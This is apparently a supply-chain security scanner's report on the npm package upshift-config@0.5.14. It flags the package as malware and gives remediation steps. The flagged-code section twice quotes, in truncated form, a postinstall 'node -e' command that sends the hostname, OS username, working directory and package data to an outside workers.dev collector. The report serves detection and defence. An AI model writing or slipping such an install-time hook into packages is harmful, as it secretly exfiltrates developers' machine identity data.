registry / Data exfiltration / upshift-config
upshift-config
JS SDK powering the August Digital ecosystem.
This report shows the evidence for upshift-config@0.5.14, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiDirect source inspection confirms unconsented install-time transmission of local host identity data to an opaque endpoint. This is concrete data exfiltration, not merely a noisy static heuristic.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm postinstall
Impact
Discloses local username, hostname, working directory, package metadata, and installation timing.
Mechanism
install-time HTTPS telemetry exfiltration
Attack narrative
On installation, the postinstall inline Node command calls HTTPS GET to an opaque collector URL. It encodes and sends npm package name/version plus the machine hostname, OS username, current working directory, and timestamp, suppressing all errors. This occurs without an explicit user command and is unrelated to normal SDK runtime operations.
AI rationale
Direct source inspection confirms unconsented install-time transmission of local host identity data to an opaque endpoint. This is concrete data exfiltration, not merely a noisy static heuristic.
Evidence
package.jsonREADME.mdlib/core/analytics/sentry-runtime.jslib/core/analytics/sanitize.js
Network endpoints1
build-metrics-collector.cdn-ops-health.workers.dev/npm-install/
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json postinstall executes node -e during npm install.
- It sends hostname, OS username, cwd, package/version, and timestamp.
- Destination is build-metrics-collector.cdn-ops-health.workers.dev, unrelated to the declared SDK identity.
- README identifies the package as @augustdigital/sdk, inconsistent with upshift-config.
Evidence against
- No source evidence of file writes, shell spawning, payload download, or AI-agent config mutation.
- lib/core analytics code is conventional Sentry integration with redaction helpers.
Behavioral surface
CryptoEnvironmentVarsEvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node -e "try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm[redacted]||'?',v...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "try{require('https').get('https://build-metrics-collector.cdn-ops-health.workers.dev/npm-install/'+encodeURIComponent(JSON.stringify({p:process.env.npm[redacted]||'?',v...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkglib/core/analytics/sentry-runtime.jsView file
32// `require('@sentry/node')`, which breaks the browser bundle.
L33: const req = new Function('return typeof require === "function" ? require : null')();
L34: return typeof req === 'function' ? req : null;
Findings
1 Critical1 High3 Medium4 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowEvallib/core/analytics/sentry-runtime.js
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to upshift-config@0.5.14.
The versions list below shows the verdict for each recorded version.
- Avoid installing upshift-config@0.5.14. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.